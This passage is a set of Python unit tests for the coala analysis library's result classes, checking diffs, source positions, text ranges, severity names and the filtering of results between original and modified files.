        clang_fixed_file = Diff.from_clang_fixit(fixit, file).modified
        self.assertEqual(fixed_file, clang_fixed_file)

    def test_equality(self):
        a = ["first", "second", "third"]
        b = ["first", "third"]
        diff_1 = Diff.from_string_arrays(a, b)

        a[1] = "else"
        diff_2 = Diff.from_string_arrays(a, b)
        self.assertEqual(diff_1, diff_2)

        diff_1.rename = "abcd"
        self.assertNotEqual(diff_1, diff_2)
        diff_1.rename = False

        diff_1.delete = True
        self.assertNotEqual(diff_1, diff_2)
        diff_1.delete = False

        diff_1.add_lines(1, ["1"])
        self.assertNotEqual(diff_1, diff_2)

    def test_json_export(self):
        JSONEncoder = create_json_encoder()
        a = ["first\n", "second\n", "third\n"]
        b = ["first\n", "third\n"]
        diff = Diff.from_string_arrays(a, b)
        self.assertEqual(
            json.dumps(diff, cls=JSONEncoder, sort_keys=True),
            '"--- \\n'
            '+++ \\n'
            '@@ -1,3 +1,2 @@\\n'
            ' first\\n'
            '-second\\n'
            ' third\\n"')

    def test_rename(self):
        self.uut.rename = False
        self.uut.rename = "1234"
        with self.assertRaises(TypeError):
            self.uut.rename = True
        with self.assertRaises(TypeError):
            self.uut.rename = 1234

    def test_delete(self):
        self.uut.delete = True
        self.uut.delete = False
        # Double deletion is allowed
        self.uut.delete = False
        with self.assertRaises(TypeError):
            self.uut.delete = "abcd"

        # If delete is True then modified returns an empty list
        self.uut.delete = True
        self.assertEqual(self.uut.modified, [])
        self.uut.delete = False






import unittest
from os.path import relpath

from coalib.results.SourcePosition import SourcePosition
from coalib.misc.ContextManagers import prepare_file


class SourcePositionTest(unittest.TestCase):

    def test_initialization(self):
        with self.assertRaises(TypeError):
            SourcePosition(None, 0)

        with self.assertRaises(ValueError):
            SourcePosition("file", None, 1)

        # However these should work:
        SourcePosition("file", None, None)
        SourcePosition("file", 4, None)
        SourcePosition("file", 4, 5)

    def test_string_conversion(self):
        uut = SourcePosition("filename", 1)
        self.assertRegex(
            repr(uut),
            "<SourcePosition object\\(file='.*filename', line=1, "
                "column=None\\) at 0x[0-9a-fA-F]+>")

        uut = SourcePosition("None", None)
        self.assertRegex(
            repr(uut),
            "<SourcePosition object\\(file='.*None', line=None, column=None\\) "
                "at 0x[0-9a-fA-F]+>")

    def test_json(self):
        with prepare_file([""], None) as (_, filename):
            uut = SourcePosition(filename, 1)
            self.assertEqual(uut.__json__(use_relpath=True)
                             ['file'], relpath(filename))

    def assert_equal(self, first, second):
        self.assertGreaterEqual(first, second)
        self.assertEqual(first, second)
        self.assertLessEqual(first, second)

    def assert_ordering(self, greater, lesser):
        self.assertGreater(greater, lesser)
        self.assertGreaterEqual(greater, lesser)
        self.assertNotEqual(greater, lesser)
        self.assertLessEqual(lesser, greater)
        self.assertLess(lesser, greater)






import unittest
from collections import namedtuple
from os.path import abspath

from coalib.results.SourcePosition import SourcePosition
from coalib.results.SourceRange import SourceRange
from coalib.results.AbsolutePosition import AbsolutePosition
from coalib.results.Diff import Diff


class SourceRangeTest(unittest.TestCase):

    def setUp(self):
        self.result_fileA_noline = SourcePosition("A")
        self.result_fileA_line2 = SourcePosition("A", 2)
        self.result_fileB_noline = SourcePosition("B")
        self.result_fileB_line2 = SourcePosition("B", 2)
        self.result_fileB_line4 = SourcePosition("B", 4)

    def test_construction(self):
        uut1 = SourceRange(self.result_fileA_noline)
        self.assertEqual(uut1.end, self.result_fileA_noline)

        uut2 = SourceRange.from_values("A")
        self.assertEqual(uut1, uut2)

        uut = SourceRange.from_values("B", start_line=2, end_line=4)
        self.assertEqual(uut.start, self.result_fileB_line2)
        self.assertEqual(uut.end, self.result_fileB_line4)

    def test_from_clang_range(self):
        # Simulating a clang SourceRange is easier than setting one up without
        # actually parsing a complete C file.
        ClangRange = namedtuple("ClangRange", "start end")
        ClangPosition = namedtuple("ClangPosition", "file line column")
        ClangFile = namedtuple("ClangFile", "name")
        file = ClangFile("t.c")
        start = ClangPosition(file, 1, 2)
        end = ClangPosition(file, 3, 4)

        uut = SourceRange.from_clang_range(ClangRange(start, end))
        compare = SourceRange.from_values("t.c", 1, 2, 3, 4)
        self.assertEqual(uut, compare)

    def test_from_absolute_position(self):
        text = ("a\n", "b\n")
        start = AbsolutePosition(text, 0)
        end = AbsolutePosition(text, 2)

        uut = SourceRange.from_absolute_position("F", start, end)
        compare = SourceRange.from_values("F", 1, 1, 2, 1)
        self.assertEqual(uut, compare)

        uut = SourceRange.from_absolute_position("F", start, None)
        compare = SourceRange(SourcePosition("F", 1, 1), None)
        self.assertEqual(uut, compare)

    def test_file_property(self):
        uut = SourceRange(self.result_fileA_line2)
        self.assertRegex(uut.file, ".*A")

    def test_invalid_arguments(self):
        # arguments must be SourceRanges
        with self.assertRaises(TypeError):
            SourceRange(1, self.result_fileA_noline)

        with self.assertRaises(TypeError):
            SourceRange(self.result_fileA_line2, 1)

    def test_argument_file(self):
        # both Source_Positions should describe the same file
        with self.assertRaises(ValueError):
            SourceRange(self.result_fileA_noline, self.result_fileB_noline)

    def test_argument_order(self):
        # end should come after the start
        with self.assertRaises(ValueError):
            SourceRange(self.result_fileA_line2, self.result_fileA_noline)

    def test_invalid_comparison(self):
        with self.assertRaises(TypeError):
            SourceRange(self.result_fileB_noline, self.result_fileB_line2) < 1

    def test_json(self):
        uut = SourceRange.from_values("B", start_line=2,
                                      end_line=4).__json__(use_relpath=True)
        self.assertEqual(uut['start'], self.result_fileB_line2)

    def test_renamed_file(self):
        src_range = SourceRange(SourcePosition("test_file"))
        self.assertEqual(src_range.renamed_file({}), abspath('test_file'))

        self.assertEqual(
            src_range.renamed_file({abspath('test_file'): Diff([])}),
            abspath('test_file'))

        self.assertEqual(
            src_range.renamed_file(
                {abspath('test_file'): Diff([], rename='another_file')}),
            'another_file')


class SourceRangeExpandTest(unittest.TestCase):

    def test_expand(self):
        empty_position = SourcePosition("filename")
        file = ["abc\n", "def\n", "ghi\n"]
        empty_range = SourceRange(empty_position, empty_position)
        full_range = SourceRange.from_values("filename", 1, 1, 3, 4)
        self.assertEqual(empty_range.expand(file), full_range)












import unittest

from coalib.results.TextPosition import TextPosition


class TextPositionTest(unittest.TestCase):

    def test_fail_instantation(self):
        with self.assertRaises(ValueError):
            TextPosition(None, 2)

        with self.assertRaises(TypeError):
            TextPosition("hello", 3)

        with self.assertRaises(TypeError):
            TextPosition(4, "world")

        with self.assertRaises(TypeError):
            TextPosition("double", "string")

    def test_properties(self):
        uut = TextPosition(None, None)
        self.assertEqual(uut.line, None)
        self.assertEqual(uut.column, None)

        uut = TextPosition(7, None)
        self.assertEqual(uut.line, 7)
        self.assertEqual(uut.column, None)

        uut = TextPosition(8, 39)
        self.assertEqual(uut.line, 8)
        self.assertEqual(uut.column, 39)






import unittest
from os.path import abspath

from coalib.results.ResultFilter import ensure_files_present


class EnsureFilesPresentTest(unittest.TestCase):

    def setUp(self):
        self.maxDiff = None

    def test_removed_file(self):
        test_file = ["abc"]
        test_file_dict = {"test_file": test_file}
        test_mod_file_dict = {}

        ensure_files_present(test_file_dict, test_mod_file_dict)

        self.assertEqual(
            test_mod_file_dict,
            {"test_file": []})

    def test_added_file(self):
        test_file = ["abc"]
        test_file_dict = {}
        test_mod_file_dict = {"test_file": test_file}

        ensure_files_present(test_file_dict, test_mod_file_dict)

        self.assertEqual(
            test_file_dict,
            {"test_file": []})

    def test_file_renaming(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['3\n', '4\n', '5\n']

        tf1 = abspath('tf1')
        tf2 = abspath('tf2')
        tf1_new = abspath('tf1_new')

        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf1_new: testfile_1}

        renamed_files = ensure_files_present(original_file_dict,
                                             modified_file_dict)

        self.assertEqual({tf1: tf1_new}, renamed_files)

    def test_file_deletion(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['3\n', '4\n', '5\n']

        tf1 = abspath('tf1')
        tf2 = abspath('tf2')

        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf1: testfile_1}

        renamed_files = ensure_files_present(original_file_dict,
                                             modified_file_dict)

        self.assertEqual({}, renamed_files)

    def test_file_renaming_changed_file(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['3\n', '4\n', '5\n']

        tf1 = abspath('tf1')
        tf2 = abspath('tf2')

        testfile_2_new = ['6\n', '4\n', '5\n']
        tf2_new = abspath('tf2_new')

        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf2_new: testfile_2_new}

        renamed_files = ensure_files_present(original_file_dict,
                                             modified_file_dict)

        self.assertEqual({tf2: tf2_new}, renamed_files)

    def test_file_addition_deletion_similar_files(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['3\n', '4\n', '5\n']

        tf1 = abspath('tf1')
        tf2 = abspath('tf2')

        testfile_2_new = ['3\n']
        tf2_new = abspath('tf2_new')

        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf2_new: testfile_2_new}

        renamed_files = ensure_files_present(original_file_dict,
                                             modified_file_dict)

        self.assertEqual({}, renamed_files)

        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['3\n', '4\n', '5\n']

        tf1 = abspath('tf1')
        tf2 = abspath('tf2')

        testfile_2_new = ['1\n', '2\n', '0\n', '1\n', '2\n', '1\n', '2\n']
        tf2_new = abspath('tf2_new')

        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf2_new: testfile_2_new}

        renamed_files = ensure_files_present(original_file_dict,
                                             modified_file_dict)

        self.assertEqual({}, renamed_files)






import os
import unittest
from os.path import abspath

from coalib.results.Diff import Diff
from coalib.results.Result import RESULT_SEVERITY, Result
from coalib.results.ResultFilter import (
    filter_results,
    remove_range,
    remove_result_ranges_diffs)
from coalib.results.SourceRange import SourceRange


class ResultFilterTest(unittest.TestCase):

    def setUp(self):
        self.maxDiff = None
        result_filter_test_dir = os.path.join(os.path.split(__file__)[0],
                                              'ResultFilterTestFiles')
        self.original_file_name = os.path.join(result_filter_test_dir,
                                               'original_file.txt')
        self.modified_file_name = os.path.join(result_filter_test_dir,
                                               'modified_file.txt')

    def test_simple_cases(self):
        class Origin:
            pass

        origin_instance = Origin()

        original_result = Result.from_values(origin=origin_instance,
                                             message="original",
                                             file="original",
                                             severity=RESULT_SEVERITY.NORMAL,
                                             debug_msg="original")

        clone_result = Result.from_values(origin="Origin",
                                          message="original",
                                          file="original",
                                          severity=RESULT_SEVERITY.NORMAL,
                                          debug_msg="original")

        wrong_origin_result = Result.from_values(
            origin="AnotherOrigin",
            message="original",
            file="original",
            severity=RESULT_SEVERITY.NORMAL,
            debug_msg="original")

        wrong_message_result = Result.from_values(
            origin="Origin",
            message="another message",
            file="original",
            severity=RESULT_SEVERITY.NORMAL,
            debug_msg="original")

        wrong_severity_result = Result.from_values(
            origin="Origin",
            message="original",
            file="original",
            severity=RESULT_SEVERITY.INFO,
            debug_msg="original")

        wrong_debug_msg_result = Result.from_values(
            origin="Origin",
            message="original",
            file="original",
            severity=RESULT_SEVERITY.NORMAL,
            debug_msg="another debug message")

        file_dict = {abspath("original"): []}

        self.assertEqual(sorted(filter_results(original_file_dict=file_dict,
                                               modified_file_dict=file_dict,
                                               original_results=[
                                                   original_result],
                                               modified_results=[
                                                   clone_result,
                                                   wrong_origin_result,
                                                   wrong_message_result,
                                                   wrong_severity_result,
                                                   wrong_debug_msg_result])),
                         sorted([wrong_origin_result,
                                 wrong_message_result,
                                 wrong_severity_result,
                                 wrong_debug_msg_result]))

    def test_affected_code(self):

        # ORIGINAL SOURCE RANGES:
        sr0_pre_change = SourceRange.from_values("file_name",
                                                 start_line=4,
                                                 start_column=1,
                                                 end_line=4,
                                                 end_column=6)
        sr0_change = SourceRange.from_values("file_name",
                                             start_line=4,
                                             start_column=8,
                                             end_line=4,
                                             end_column=13)
        sr0_post_change = SourceRange.from_values("file_name",
                                                  start_line=4,
                                                  start_column=15,
                                                  end_line=4,
                                                  end_column=19)

        sr0_pre_remove = SourceRange.from_values("file_name",
                                                 start_line=6,
                                                 start_column=1,
                                                 end_line=6,
                                                 end_column=6)
        sr0_post_remove = SourceRange.from_values("file_name",
                                                  start_line=8,
                                                  start_column=1,
                                                  end_line=8,
                                                  end_column=5)

        sr0_pre_addition = SourceRange.from_values("file_name",
                                                   start_line=10,
                                                   start_column=1,
                                                   end_line=10,
                                                   end_column=6)
        sr0_post_addition = SourceRange.from_values("file_name",
                                                    start_line=11,
                                                    start_column=1,
                                                    end_line=11,
                                                    end_column=5)

        # ORIGINAL RESULTS:
        res0_pre_change = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr0_pre_change,))
        res0_change = Result(origin="origin",
                             message="message",
                             affected_code=(sr0_change,))
        res0_post_change = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr0_post_change,))
        res0_around_change = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr0_pre_change,
                                                   sr0_post_change))
        res0_with_change = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr0_pre_change,
                                                 sr0_change,
                                                 sr0_post_change))
        res0_whole_change = Result.from_values(origin="origin",
                                               message="message",
                                               file="file_name",
                                               line=4,
                                               column=1,
                                               end_line=4,
                                               end_column=19)

        res0_pre_remove = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr0_pre_remove,))
        res0_post_remove = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr0_post_remove,))
        res0_around_remove = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr0_pre_remove,
                                                   sr0_post_remove))
        res0_whole_remove = Result.from_values(origin="origin",
                                               message="message",
                                               file="file_name",
                                               line=6,
                                               column=1,
                                               end_line=8,
                                               end_column=5)

        res0_pre_addition = Result(origin="origin",
                                   message="message",
                                   affected_code=(sr0_pre_addition,))
        res0_post_addition = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr0_post_addition,))
        res0_around_addition = Result(origin="origin",
                                      message="message",
                                      affected_code=(sr0_pre_addition,
                                                     sr0_post_addition))
        res0_whole_addition = Result.from_values(origin="origin",
                                                 message="message",
                                                 file="file_name",
                                                 line=10,
                                                 column=1,
                                                 end_line=11,
                                                 end_column=5)

        # NEW SOURCE RANGES:
        sr1_pre_change = SourceRange.from_values("file_name",
                                                 start_line=4,
                                                 start_column=1,
                                                 end_line=4,
                                                 end_column=6)
        sr1_change = SourceRange.from_values("file_name",
                                             start_line=4,
                                             start_column=8,
                                             end_line=4,
                                             end_column=13)
        sr1_post_change = SourceRange.from_values("file_name",
                                                  start_line=4,
                                                  start_column=15,
                                                  end_line=4,
                                                  end_column=19)

        sr1_pre_remove = SourceRange.from_values("file_name",
                                                 start_line=6,
                                                 start_column=1,
                                                 end_line=6,
                                                 end_column=6)
        sr1_post_remove = SourceRange.from_values("file_name",
                                                  start_line=7,
                                                  start_column=1,
                                                  end_line=7,
                                                  end_column=5)

        sr1_pre_addition = SourceRange.from_values("file_name",
                                                   start_line=9,
                                                   start_column=1,
                                                   end_line=9,
                                                   end_column=6)
        sr1_addition = SourceRange.from_values("file_name",
                                               start_line=10,
                                               start_column=1,
                                               end_line=10,
                                               end_column=8)
        sr1_post_addition = SourceRange.from_values("file_name",
                                                    start_line=11,
                                                    start_column=1,
                                                    end_line=11,
                                                    end_column=5)

        # NEW RESULTS:
        res1_pre_change = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr1_pre_change,))
        res1_change = Result(origin="origin",
                             message="message",
                             affected_code=(sr1_change,))
        res1_post_change = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr1_post_change,))
        res1_around_change = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr1_pre_change,
                                                   sr1_post_change))
        res1_with_change = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr1_pre_change,
                                                 sr1_change,
                                                 sr1_post_change))
        res1_whole_change = Result.from_values(origin="origin",
                                               message="message",
                                               file="file_name",
                                               line=4,
                                               column=1,
                                               end_line=4,
                                               end_column=19)

        res1_pre_remove = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr1_pre_remove,))
        res1_post_remove = Result(origin="origin",
                                  message="message",
                                  affected_code=(sr1_post_remove,))
        res1_around_remove = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr1_pre_remove,
                                                   sr1_post_remove))
        res1_whole_remove = Result.from_values(origin="origin",
                                               message="message",
                                               file="file_name",
                                               line=6,
                                               column=1,
                                               end_line=7,
                                               end_column=5)

        res1_pre_addition = Result(origin="origin",
                                   message="message",
                                   affected_code=(sr1_pre_addition,))
        res1_addition = Result(origin="origin",
                               message="message",
                               affected_code=(sr1_addition,))
        res1_post_addition = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr1_post_addition,))
        res1_around_addition = Result(origin="origin",
                                      message="message",
                                      affected_code=(sr1_pre_addition,
                                                     sr1_post_addition))
        res1_with_addition = Result(origin="origin",
                                    message="message",
                                    affected_code=(sr1_pre_addition,
                                                   sr1_addition,
                                                   sr1_post_addition))
        res1_whole_addition = Result.from_values(origin="origin",
                                                 message="message",
                                                 file="file_name",
                                                 line=9,
                                                 column=1,
                                                 end_line=11,
                                                 end_column=5)

        original_result_list = [res0_pre_change,
                                res0_change,
                                res0_post_change,
                                res0_around_change,
                                res0_with_change,
                                res0_whole_change,

                                res0_pre_remove,
                                res0_post_remove,
                                res0_around_remove,
                                res0_whole_remove,

                                res0_pre_addition,
                                res0_post_addition,
                                res0_around_addition,
                                res0_whole_addition]

        new_result_list = [res1_pre_change,       # FALSE POSITIVE (in-line)
                           res1_change,           # correctly kept
                           res1_post_change,      # FALSE POSITIVE (in-line)
                           res1_around_change,    # FALSE POSITIVE (in-line)
                           res1_with_change,      # correctly kept
                           res1_whole_change,     # correctly kept

                           res1_pre_remove,       # correctly filtered out
                           res1_post_remove,      # FALSE POSITIVE (in-line)
                           res1_around_remove,    # correctly filtered out
                           res1_whole_remove,     # correctly kept

                           res1_pre_addition,     # correctly filtered out
                           res1_addition,         # correctly kept
                           res1_post_addition,    # correctly filtered out
                           res1_around_addition,  # FALSE POSITIVE (close-line)
                           res1_with_addition,    # correctly kept
                           res1_whole_addition]   # correctly kept

        unique_new_result_list = [res1_pre_change,       # WRONG: line-wise diff
                                  res1_change,           # correct
                                  res1_post_change,      # WRONG: line-wise diff
                                  res1_around_change,    # WRONG: line-wise diff
                                  res1_with_change,      # correct
                                  res1_whole_change,     # correct

                                  res1_addition,         # correct
                                  res1_around_addition,  # WRONG: line-wise diff
                                  res1_with_addition,    # correct
                                  res1_whole_addition]   # correct

        with open(self.original_file_name, "r") as original_file:
            original_file_dict = {
                abspath("file_name"): original_file.readlines()}

            with open(self.modified_file_name, "r") as modified_file:
                modified_file_dict = {
                    abspath("file_name"): modified_file.readlines()}

                # 'TIS THE IMPORTANT PART
                self.assertEqual(sorted(filter_results(original_file_dict,
                                                       modified_file_dict,
                                                       original_result_list,
                                                       new_result_list)),
                                 sorted(unique_new_result_list))

    def test_affected_code_rename_files(self):

        # ORIGINAL SOURCE RANGES:
        sr0_pre_change = SourceRange.from_values("file_name",
                                                 start_line=8,
                                                 start_column=1,
                                                 end_line=8,
                                                 end_column=3)

        # ORIGINAL RESULTS:
        res0_pre_change = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr0_pre_change,))

        # NEW SOURCE RANGES:
        sr1_pre_change = SourceRange.from_values("file_name_new",
                                                 start_line=7,
                                                 start_column=1,
                                                 end_line=7,
                                                 end_column=3)
        sr1_change = SourceRange.from_values("file_name_new",
                                             start_line=4,
                                             start_column=8,
                                             end_line=4,
                                             end_column=13)

        # NEW RESULTS:
        res1_pre_change = Result(origin="origin",
                                 message="message",
                                 affected_code=(sr1_pre_change,))
        res1_change = Result(origin="origin",
                             message="message",
                             affected_code=(sr1_change,))
        res1_whole_remove = Result.from_values(origin="origin",
                                               message="message",
                                               file="file_name_new",
                                               line=6,
                                               column=1,
                                               end_line=7,
                                               end_column=5)

        original_result_list = [res0_pre_change]

        new_result_list = [res1_pre_change,
                           res1_change,
                           res1_whole_remove]

        unique_new_result_list = [res1_change,
                                  res1_whole_remove]

        with open(self.original_file_name, "r") as original_file:
            original_file_dict = {
                abspath("file_name"): original_file.readlines()}

            with open(self.modified_file_name, "r") as modified_file:
                modified_file_dict = {
                    abspath("file_name_new"): modified_file.readlines()}

                # 'TIS THE IMPORTANT PART
                self.assertEqual(sorted(filter_results(original_file_dict,
                                                       modified_file_dict,
                                                       original_result_list,
                                                       new_result_list)),
                                 sorted(unique_new_result_list))

    def test_unrelated_file_change(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['1\n', '2\n']
        testfile_2_new = ['0\n', '1\n', '2\n']
        old_result = Result.from_values('origin', 'message', 'tf1', 1)
        new_result = Result.from_values('origin', 'message', 'tf1', 1)
        tf1 = abspath('tf1')
        original_file_dict = {tf1: testfile_1, 'tf2': testfile_2}
        modified_file_dict = {tf1: testfile_1, 'tf2': testfile_2_new}

        new_results = filter_results(original_file_dict, modified_file_dict,
                                     [old_result], [new_result])
        self.assertEqual(new_results, [])

    def test_result_range(self):
        test_file = ["123456789", "123456789", "123456789", "123456789"]

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              1,
                                                              1,
                                                              1)),
                         ["23456789", "123456789", "123456789", "123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              9,
                                                              1,
                                                              9)),
                         ["12345678", "123456789", "123456789", "123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              3,
                                                              1,
                                                              7)),
                         ["1289", "123456789", "123456789", "123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              3,
                                                              2,
                                                              7)),
                         ["12", "89", "123456789", "123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              3,
                                                              3,
                                                              7)),
                         ["12", "89", "123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              1,
                                                              3,
                                                              4,
                                                              7)),
                         ["12", "89"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              None,
                                                              None,
                                                              None,
                                                              None)),
                         [])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              None,
                                                              None,
                                                              3,
                                                              None)),
                         ["123456789"])

        self.assertEqual(remove_range(test_file,
                                      SourceRange.from_values("file",
                                                              3,
                                                              None,
                                                              3,
                                                              None)),
                         ["123456789", "123456789", "123456789"])

    def test_result_range_inline_overlap(self):
        test_file = ["123456789\n"]
        test_file_dict = {abspath("test_file"): test_file}

        source_range1 = SourceRange.from_values("test_file", 1, 1, 1, 4)
        source_range2 = SourceRange.from_values("test_file", 1, 2, 1, 3)
        source_range3 = SourceRange.from_values("test_file", 1, 3, 1, 6)

        test_result = Result("origin",
                             "message",
                             (source_range1, source_range2, source_range3))

        result_diff = remove_result_ranges_diffs(
            [test_result],
            test_file_dict)[test_result][abspath("test_file")]
        expected_diff = Diff.from_string_arrays(test_file, ["789\n"])

        self.assertEqual(result_diff, expected_diff)

    def test_result_range_line_wise_overlap(self):
        test_file = ["11", "22", "33", "44", "55", "66"]
        test_file_dict = {abspath("test_file"): test_file}

        source_range1 = SourceRange.from_values("test_file", 2, 2, 5, 1)
        source_range2 = SourceRange.from_values("test_file", 3, 1, 4, 1)

        test_result = Result("origin",
                             "message",
                             (source_range1, source_range2))

        result_diff = remove_result_ranges_diffs(
            [test_result],
            test_file_dict)[test_result][abspath("test_file")]
        expected_diff = Diff.from_string_arrays(test_file,
                                                ["11", "2", "5", "66"])

        self.assertEqual(result_diff, expected_diff)

    def test_no_range(self):
        test_file = ["abc"]
        test_file_dict = {abspath("test_file"): test_file}

        test_result = Result("origin",
                             "message")

        result_diff = remove_result_ranges_diffs(
            [test_result],
            test_file_dict)[test_result][abspath("test_file")]
        expected_diff = Diff.from_string_arrays(test_file, ["abc"])

        self.assertEqual(result_diff, expected_diff)

    def test_new_file_with_result(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2_new = ['0\n', '1\n', '2\n']
        tf1 = abspath('tf1')
        tf2 = abspath('tf2')
        old_result = Result.from_values('origin', 'message', 'tf1', 1)
        new_result = Result.from_values('origin', 'message', 'tf2', 1)
        original_file_dict = {tf1: testfile_1}
        modified_file_dict = {tf1: testfile_1, tf2: testfile_2_new}

        new_results = filter_results(original_file_dict, modified_file_dict,
                                     [old_result], [new_result])
        self.assertEqual(new_results, [new_result])

    def test_delete_file_with_result(self):
        testfile_1 = ['1\n', '2\n']
        testfile_2 = ['0\n', '1\n', '2\n']
        testfile_1_new = ['0\n', '1\n', '2\n']
        tf1 = abspath('tf1')
        tf2 = abspath('tf2')
        old_result_tf1 = Result.from_values('origin', 'message', 'tf1', 1)
        old_result_tf2 = Result.from_values('origin', 'message', 'tf2', 1)
        new_result = Result.from_values('origin', 'message', 'tf1', 1)
        original_file_dict = {tf1: testfile_1, tf2: testfile_2}
        modified_file_dict = {tf1: testfile_1_new}

        new_results = filter_results(original_file_dict,
                                     modified_file_dict,
                                     [old_result_tf1, old_result_tf2],
                                     [new_result])
        self.assertEqual(new_results, [new_result])






import unittest

from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY


class RESULT_SEVERITYTest(unittest.TestCase):

    def test_str_conversion(self):
        self.assertEqual("INFO",
                         RESULT_SEVERITY.__str__(RESULT_SEVERITY.INFO))
        self.assertEqual("NORMAL",
                         RESULT_SEVERITY.__str__(RESULT_SEVERITY.NORMAL))
        self.assertEqual("MAJOR",
                         RESULT_SEVERITY.__str__(RESULT_SEVERITY.MAJOR))






import unittest

from coalib.results.TextPosition import TextPosition
from coalib.results.TextRange import TextRange


class TextRangeTest(unittest.TestCase):

    def test_fail_instantation(self):
        with self.assertRaises(ValueError):
            TextRange(TextPosition(3, 4), TextPosition(2, 8))

        with self.assertRaises(ValueError):
            TextRange(TextPosition(0, 10), TextPosition(0, 7))

        with self.assertRaises(TypeError):
            TextRange(None, TextPosition(20, 80))

        with self.assertRaises(TypeError):
            TextRange("string", TextPosition(200, 800))

        with self.assertRaises(TypeError):
            TextRange(TextPosition(5, 0), "schtring")

    def test_properties(self):
        uut = TextRange(TextPosition(7, 2), TextPosition(7, 3))
        self.assertEqual(uut.start, TextPosition(7, 2))
        self.assertEqual(uut.end, TextPosition(7, 3))

        uut = TextRange(TextPosition(70, 20), None)
        self.assertEqual(uut.start, TextPosition(70, 20))
        self.assertEqual(uut.end, TextPosition(70, 20))
        self.assertEqual(uut.start, uut.end)
        self.assertIsNot(uut.start, uut.end)

    def test_from_values(self):
        # Check if invalid ranges still fail.
        with self.assertRaises(ValueError):
            TextRange.from_values(0, 10, 0, 7)

        uut = TextRange.from_values(1, 0, 7, 3)
        self.assertEqual(uut.start, TextPosition(1, 0))
        self.assertEqual(uut.end, TextPosition(7, 3))

        uut = TextRange.from_values(1, 0, None, 88)
        self.assertEqual(uut.start, TextPosition(1, 0))
        self.assertEqual(uut.end, TextPosition(1, 0))

        uut = TextRange.from_values(1, 0, 7, None)
        self.assertEqual(uut.start, TextPosition(1, 0))
        self.assertEqual(uut.end, TextPosition(7, None))

        # Test defaults.
        uut = TextRange.from_values()
        self.assertEqual(uut.start, TextPosition(None, None))
        self.assertEqual(uut.end, TextPosition(None, None))

    def test_no_overlap(self):
        uut1 = TextRange.from_values(2, None, 3)
        uut2 = TextRange.from_values(4, None, 5)
        self.assertFalse(uut1.overlaps(uut2))
        self.assertFalse(uut2.overlaps(uut1))

        uut1 = TextRange.from_values(2, None, 3, 6)
        uut2 = TextRange.from_values(3, 7, 5)
        self.assertFalse(uut1.overlaps(uut2))
        self.assertFalse(uut2.overlaps(uut1))

    def test_overlap(self):
        uut1 = TextRange.from_values(2, None, 3)
        uut2 = TextRange.from_values(3, None, 5)
        self.assertTrue(uut1.overlaps(uut2))
        self.assertTrue(uut2.overlaps(uut1))

        uut1 = TextRange.from_values(2, None, 3, 6)
        uut2 = TextRange.from_values(3, 6, 5)
        self.assertTrue(uut1.overlaps(uut2))
        self.assertTrue(uut2.overlaps(uut1))

        uut1 = TextRange.from_values(2, None, 7)
        uut2 = TextRange.from_values(3, None, 5)
        self.assertTrue(uut1.overlaps(uut2))
        self.assertTrue(uut2.overlaps(uut1))

        uut1 = TextRange.from_values(5, None, 7)
        uut2 = TextRange.from_values(3, None, 6)
        self.assertTrue(uut1.overlaps(uut2))
        self.assertTrue(uut2.overlaps(uut1))


class TextRangeJoinTest(unittest.TestCase):

    def setUp(self):
        self.pos = [TextPosition(1, 1),
                    TextPosition(3, 1),
                    TextPosition(3, 3),
                    TextPosition(4, 3),
                    TextPosition(5, 3)]

    def test_fails(self):
        # need to pass ranges
        with self.assertRaises(TypeError):
            TextRange.join(self.pos[0], self.pos[1])

        with self.assertRaises(TypeError):
            TextRange.join(TextRange(self.pos[0], self.pos[1]), self.pos[1])

        # ranges must overlap
        with self.assertRaises(ValueError):
            TextRange.join(TextRange(self.pos[0], self.pos[1]),
                           TextRange(self.pos[3], self.pos[4]))

    def test_join(self):
        # overlap
        self.assertEqual(TextRange.join(TextRange(self.pos[0], self.pos[2]),
                                        TextRange(self.pos[1], self.pos[3])),
                         TextRange(self.pos[0], self.pos[3]))

        self.assertEqual(TextRange.join(TextRange(self.pos[1], self.pos[3]),
                                        TextRange(self.pos[2], self.pos[4])),
                         TextRange(self.pos[1], self.pos[4]))
        # embrace
        self.assertEqual(TextRange.join(TextRange(self.pos[0], self.pos[3]),
                                        TextRange(self.pos[1], self.pos[2])),
                         TextRange(self.pos[0], self.pos[3]))

        # touch
